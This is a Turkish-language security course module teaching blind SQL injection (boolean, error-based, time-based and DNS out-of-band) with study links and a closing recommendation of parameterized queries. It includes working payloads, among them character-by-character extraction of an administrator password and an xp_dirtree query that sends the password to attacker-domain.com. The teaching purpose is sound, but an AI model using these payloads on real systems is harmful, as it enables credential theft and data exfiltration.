Merhaba, "İleri Seviye Injection Saldırıları ve Savunma" başlıklı yeni modülümüze hoş geldiniz. Önceki modülde, büyük kod tabanlarındaki riskleri stratejik olarak nasıl önceliklendireceğimizi, yani nereye bakacağımızı belirlemek için metrik tabanlı bir makro-perspektif geliştirdik. Artık o merceği, belirlediğimiz kritik alanlara çevirip ne arayacağımızı öğrenme zamanı.
Bu derste, enjeksiyon saldırılarının en sofistike ve tespit edilmesi zor varyantlarından birine odaklanacağız: Blind SQL injection ve out-of-band veri sızdırma tekniklerini analiz edeceğiz. Klasik SQL enjeksiyonunda, sorgunun sonucu doğrudan HTTP yanıtında döner. Ancak "kör" (blind) senaryolarda, saldırgan doğrudan bir veri çıktısı alamaz. Bunun yerine, veritabanını bir tür "oracle" gibi kullanarak, sorduğu evet/hayır sorularına veya veritabanının davranışındaki dolaylı değişikliklere dayanarak bilgiyi parça parça yeniden inşa etmek zorundadır. Bu, algoritmik düşünme ve otomasyon becerilerinin ön plana çıktığı, sabır gerektiren bir saldırı türüdür ve bu yönüyle sizin hem matematik hem de otomasyon tecrübenize hitap edecektir.
Blind SQL Injection: Görmeden Keşfetmek
Blind SQL Injection (kör SQL enjeksiyonu), uygulamanın SQL enjeksiyonuna karşı zafiyetli olduğu ancak HTTP yanıtlarının ilgili SQL sorgusunun sonuçlarını veya veritabanı hatalarının ayrıntılarını içermediği durumlarda ortaya çıkar. UNION tabanlı saldırılar gibi teknikler burada işe yaramaz çünkü bu teknikler enjekte edilen sorgunun sonuçlarını yanıtta görebilmeye dayanır.
Aşağıdaki şema, SQL enjeksiyonunun ana kategorilerini özetlemektedir. Bizim bu dersteki odağımız "Inferential (Blind) SQLi" ve onunla yakından ilişkili olan "Out-of-band SQLi" olacaktır.

Temel olarak, bir saldırgan olarak amacımız, veritabanına doğru ya da yanlış olarak değerlendirilebilecek bir koşul enjekte etmek ve uygulamanın bu iki duruma verdiği farklı tepkileri gözlemlemektir. Bu tepkiler üç ana kanaldan gelir:
- Boolean Tabanlı (Koşullu Yanıtlar): Uygulama yanıtının içeriği değişir.
- Zaman Tabanlı (Koşullu Gecikmeler): Uygulama yanıtının süresi değişir.
- Bant Dışı (Out-of-Band): Uygulama, kontrolümüz altındaki harici bir sisteme ağ isteği yapar.
Şimdi bu teknikleri sırayla inceleyelim.
What is Blind SQL Injection? Tutorial & Examples
PortSwigger tarafından hazırlanan bu kaynak, Blind SQL Injection'ın temel mantığını ve koşullu yanıtlar üzerinden nasıl istismar edildiğini harika bir şekilde açıklıyor.
Lütfen makalenin aşağıdaki bölümlerini okuyun: Blind SQL Injection Nedir? bölümü, bu zafiyetin tanımını ve klasik SQLi'den farkını netleştiriyor. Koşullu Yanıtları Tetikleme bölümü, bir TrackingId cookie'si üzerinden boolean tabanlı veri çıkarmanın mantığını adım adım gösteriyor. Özellikle SUBSTRING fonksiyonu kullanılarak bir parolanın karakter karakter nasıl sızdırıldığına dikkat edin.
1. Boolean ve Hata Tabanlı Çıkarım
En temel kör enjeksiyon tekniği, doğru veya yanlış bir koşula bağlı olarak uygulamanın yanıtını değiştirmektir. PortSwigger makalesindeki "Welcome back" mesajı örneği bunu mükemmel bir şekilde göstermektedir.
Saldırgan şu adımları izler:
- Koşul Enjeksiyonu:
...xyz' AND '1'='1(Doğru) ve...xyz' AND '1'='2(Yanlış) gibi payload'lar göndererek uygulamanın farklı yanıtlar verip vermediğini test eder. - Veri Çıkarımı: Bu evet/hayır mekanizmasını kullanarak veritabanından bilgi sızdırır. Örneğin, 'administrator' kullanıcısının parolasının ilk karakterinin 's' olup olmadığını doğrulamak için:
Bu sorgu doğruysa "Welcome back" mesajı alınır, yanlışsa alınmaz. Bu işlem her karakter için tekrarlanarak tüm parola elde edilebilir.' AND (SELECT SUBSTRING(Password, 1, 1) FROM Users WHERE Username = 'Administrator') = 's
Bazen uygulama yanıtının içeriği değişmez ama enjekte edilen koşul doğru olduğunda bir veritabanı hatası tetiklenebilir. Örneğin, 1/0 gibi bir bölme işlemiyle hata oluşturulabilir.
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a -- Hata verir
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a -- Hata vermez
Bu da yine bir evet/hayır mekanizmasıdır ve Error-based SQLi olarak adlandırılır.
Bu tür saldırıları manuel olarak yapmak son derece yorucudur. Bu nedenle, süreç genellikle script'lerle otomatikleştirilir. Aşağıdaki video, bu otomasyonun nasıl yapıldığını, filtrelerin nasıl aşıldığını ve süreci hızlandırmak için kullanılan algoritmik yaklaşımları pratik olarak göstermektedir.
Automating Boolean SQL Injection and Evading Filters
Ünlü güvenlik araştırmacısı IppSec'in bu videosu, boolean tabanlı SQL enjeksiyonunu otomatikleştirmek için bir Python betiğinin nasıl yazıldığını adım adım gösteriyor. Bu, sizin Python ve otomasyon becerilerinizle doğrudan örtüşen, oldukça pratik bir içeriktir.
Lütfen aşağıdaki kısımları izleyin: Boolean Injection Mantığı (Neden Boolean?): Konuşmacı, boolean enjeksiyonunun neden UNION enjeksiyonundan daha esnek olduğunu açıklıyor. Zafiyetli Kod (Kod İncelemesi): Saldırıya yol açan zafiyetli Python kod parçasını gösteriyor. "... WHERE username = '%s'" % username gibi güvensiz string formatlama kullanımının kök neden olduğunu vurguluyor. Filtreleri Aşma (= yerine LIKE): = operatörünün filtrelendiği bir durumda, LIKE operatörünün nasıl alternatif olarak kullanılabileceğini gösteriyor. Bu, WAF/filtre atlatma mantığı için iyi bir örnektir. Veriyi Karakter Karakter Sızdırma (SUBSTRING ve FROM/FOR): Virgül karakterinin filtrelendiği durumlarda standart SUBSTRING(str, pos, len) yerine SUBSTRING(str FROM pos FOR len) sözdiziminin nasıl kullanılacağını gösteriyor. Süreci Hızlandırma: İkili Arama (Divide and Conquer): Her karakteri A'dan Z'ye tek tek denemek yerine, karakterin ASCII değerini bir aralıkta arayarak (örneğin, "A-M arasında mı?"), her istekte arama uzayını yarıya indiren ikili arama (binary search) benzeri bir "divide and conquer" algoritmasının mantığını açıklıyor. Bu, sızdırma işlemini logaritmik zamanda tamamlayarak muazzam bir hız kazandırır. Otomasyon Betiği (Hepsini Birleştirmek): Tüm bu teknikleri bir araya getiren ve veritabanından kullanıcı adlarını ve parolaları otomatik olarak çeken Python betiğinin son halini gösteriyor.
2. Zaman Tabanlı Çıkarım
Peki ya uygulama, koşul doğru da olsa yanlış da olsa, hata da alsa almasa da, her zaman tamamen aynı yanıtı veriyorsa? Bu durumda, gözlemleyebileceğimiz tek şey zamandır.
What is Blind SQL Injection? Tutorial & Examples
Aynı PortSwigger kaynağının bu bölümü, zaman gecikmeleri üzerinden veri sızdırma tekniğini açıklıyor.
Lütfen Zaman Gecikmelerini Tetikleme bölümünü okuyun. SQL sorgularının genellikle senkronize olarak işlenmesi prensibini ve bunun yanıt süresini nasıl etkilediğini açıklıyor.
Zaman tabanlı (time-based) teknikte, enjekte ettiğimiz koşul doğruysa veritabanını belirli bir süre (örneğin 10 saniye) beklemeye zorlarız.
- MS SQL:
IF (1=1) WAITFOR DELAY '0:0:10'-- - PostgreSQL:
SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- - MySQL:
IF(1=1, SLEEP(10), 0)--
Eğer HTTP yanıtı 10 saniye gecikmeyle gelirse, enjekte ettiğimiz koşulun doğru olduğunu anlarız. Bu yöntem, boolean tabanlı yöntemlere göre çok daha yavaştır çünkü her bir evet/hayır sorusu için saniyelerce beklemek gerekir. Ancak diğer tüm kapılar kapalı olduğunda güvenilir bir alternatiftir.
3. Bant Dışı (Out-of-Band) Veri Sızdırma (OAST)
En gelişmiş ve genellikle en etkili kör enjeksiyon tekniği, Out-of-Band Application Security Testing (OAST) veya bant dışı yöntemlerdir. Bu yöntemde, uygulama ile aramızdaki normal HTTP iletişim kanalının dışına çıkarız.
Özellikle sorgunun asenkron olarak işlendiği senaryolarda bu teknik vazgeçilmezdir. Asenkron bir işlemde, uygulama isteği alır, arka planda bir iş başlatır ve kullanıcıya hemen bir yanıt döner. Arka plandaki işin ne kadar sürdüğü veya başarılı olup olmadığı ana yanıtı etkilemez. Dolayısıyla ne boolean ne de zaman tabanlı teknikler işe yaramaz.
OAST tekniğinde, zafiyetli sorguyu kullanarak veritabanı sunucusunun, kontrolümüz altındaki bir sunucuya bir ağ isteği (genellikle DNS veya HTTP) yapmasını sağlarız.
Bu tekniğin nasıl çalıştığını daha iyi anlamak için aşağıdaki kaynakları inceleyelim.
SQL Injection - Lab #15 Blind SQL injection with out-of-band interaction
Rana Khalil'in bu videosu, PortSwigger'ın bir laboratuvarını çözerek OAST'ın pratik uygulamasını net bir şekilde gösteriyor.
Lütfen şu kısımları izleyin: OAST ve Asenkron Sorgular (OAST Tanımı): Asenkron sorguların neden klasik kör enjeksiyon tekniklerini işlevsiz kıldığını ve OAST'ın bu boşluğu nasıl doldurduğunu açıklıyor. Burp Collaborator Kullanımı (Collaborator Kurulumu): DNS sorgularını yakalamak için Burp Suite'in Collaborator aracının nasıl kullanılacağını ve benzersiz bir subdomain'in nasıl oluşturulduğunu gösteriyor. Payload Gönderimi ve Doğrulama (Saldırı Anı): Hazırlanan payload'un Burp Repeater ile nasıl gönderildiğini ve ardından Collaborator arayüzünde gelen DNS isteğinin nasıl doğrulandığını gösteriyor.
Veriyi sızdırmak için, sızdırılacak veriyi DNS sorgusunun bir parçası (genellikle subdomain) haline getiririz. Örneğin, MS SQL'de xp_dirtree adlı genişletilmiş bir saklı yordam (stored procedure), bir UNC yoluna erişmeye çalışırken DNS çözümlemesi yapar. Saldırgan bu özellikten faydalanır.
'; DECLARE @data varchar(1024);
SET @data = (SELECT password FROM users WHERE username='administrator');
EXEC('master..xp_dirtree "//' + @data + '.attacker-domain.com/a"');
--
Bu sorgu çalıştığında, veritabanı [sızdırılan_parola].attacker-domain.com adresi için bir DNS sorgusu yapar ve parola, saldırganın DNS sunucusu loglarına düşer.
Bu tekniğin gerçek bir senaryoda nasıl uygulandığını ve karşılaşılabilecek pratik zorlukları görmek için aşağıdaki vaka analizini inceleyelim.
Exploiting Second Order SQL Injection with Stored Procedures
Bu NetSPI makalesi, başlığında "second-order" dese de, özünde DNS tabanlı OOB veri sızdırmanın harika bir vaka analizidir. MS SQL'de xp_dirtree kullanarak veri sızdırmanın inceliklerini anlatır.
Lütfen aşağıdaki bölümlere odaklanın: Exploitation (İstismar): Bu bölüm, xp_dirtree saklı yordamının bir UNC yoluna istek göndererek nasıl DNS sorgusu tetiklediğini açıklıyor. Exfiltration via Subdomain (Subdomain ile Sızdırma): Bu kısım, veritabanı adı (DB_NAME()) gibi bilgilerin DNS sorgusunun subdomain'ine nasıl eklendiğini pratik bir payload ile gösterir. Subdomain and String Issues (Subdomain ve String Sorunları): Bu çok önemli bölüm, OOB sızdırma sırasında karşılaşılan iki temel sorunu ve çözümünü anlatır: Karakter Kısıtlamaları: DNS subdomain'leri sadece alfanümerik karakterler ve - içerebilir. Sızdırılan verideki boşluk veya özel karakterler sorgunun başarısız olmasına neden olur. Çözüm: REPLACE() fonksiyonu ile geçersiz karakterleri değiştirmek. Uzunluk Kısıtlamaları: Bir subdomain etiketi en fazla 63 karakter olabilir. Daha uzun veriler sızdırılamaz. Çözüm: SUBSTRING() fonksiyonu ile veriyi 63 karakterlik parçalara bölerek birden fazla DNS isteği ile sızdırmak. Extracting SQL Server Version (SQL Server Sürümünü Çıkarma): Bu pratik örnek, yukarıda bahsedilen REPLACE() ve SUBSTRING() tekniklerini birleştirerek, özel karakterler içeren ve 63 karakterden uzun olan @@VERSION çıktısının nasıl parça parça sızdırıldığını gösterir.
Sonuç
Bu dersimizde, klasik SQL enjeksiyonunun ötesine geçerek, doğrudan geri bildirim almadığımız "kör" senaryolarda veri sızdırmanın üç temel tekniğini analiz ettik.
Ana Çıkarımlar:
- Blind SQL Injection, doğrudan sonuçlar yerine uygulamanın dolaylı davranışlarına (içerik, zamanlama) dayalı bir çıkarım oyunudur.
- Boolean tabanlı saldırılar hızlıdır ancak otomasyon ve genellikle ikili arama gibi akıllı algoritmalar gerektirir.
- Zaman tabanlı saldırılar yavaştır ancak diğer yöntemler işe yaramadığında güvenilir bir son çaredir.
- Out-of-Band (OAST), özellikle asenkron işlemlerde en güçlü tekniktir ve veriyi tek seferde, daha verimli bir şekilde sızdırmaya olanak tanır. Ancak veritabanı sunucusundan dışarıya ağ erişimi gerektirir.
- Tüm bu ileri seviye saldırıların temelindeki kök neden, kullanıcı girdisinin SQL sorgularına güvenli olmayan bir şekilde (genellikle string birleştirme ile) dahil edilmesidir. Savunma yine aynıdır: her zaman ve istisnasız olarak parametreli sorgular (parameterized queries) kullanmak.
Kullanıcıdan gelen bir girdinin anında nasıl istismar edilebileceğini, çıktısını görmesek bile, artık biliyoruz. Peki ya kötü niyetli girdi önce veritabanında saklanır ve daha sonra uygulamanın tamamen farklı bir bölümünde, farklı bir bağlamda çalıştırılırsa ne olur? Bir sonraki dersimizde, bu "İkinci Dereceden Enjeksiyon" (Second-Order Injection) saldırılarını ve bunları kod incelemesi sırasında nasıl tespit edeceğimizi analiz edeceğiz.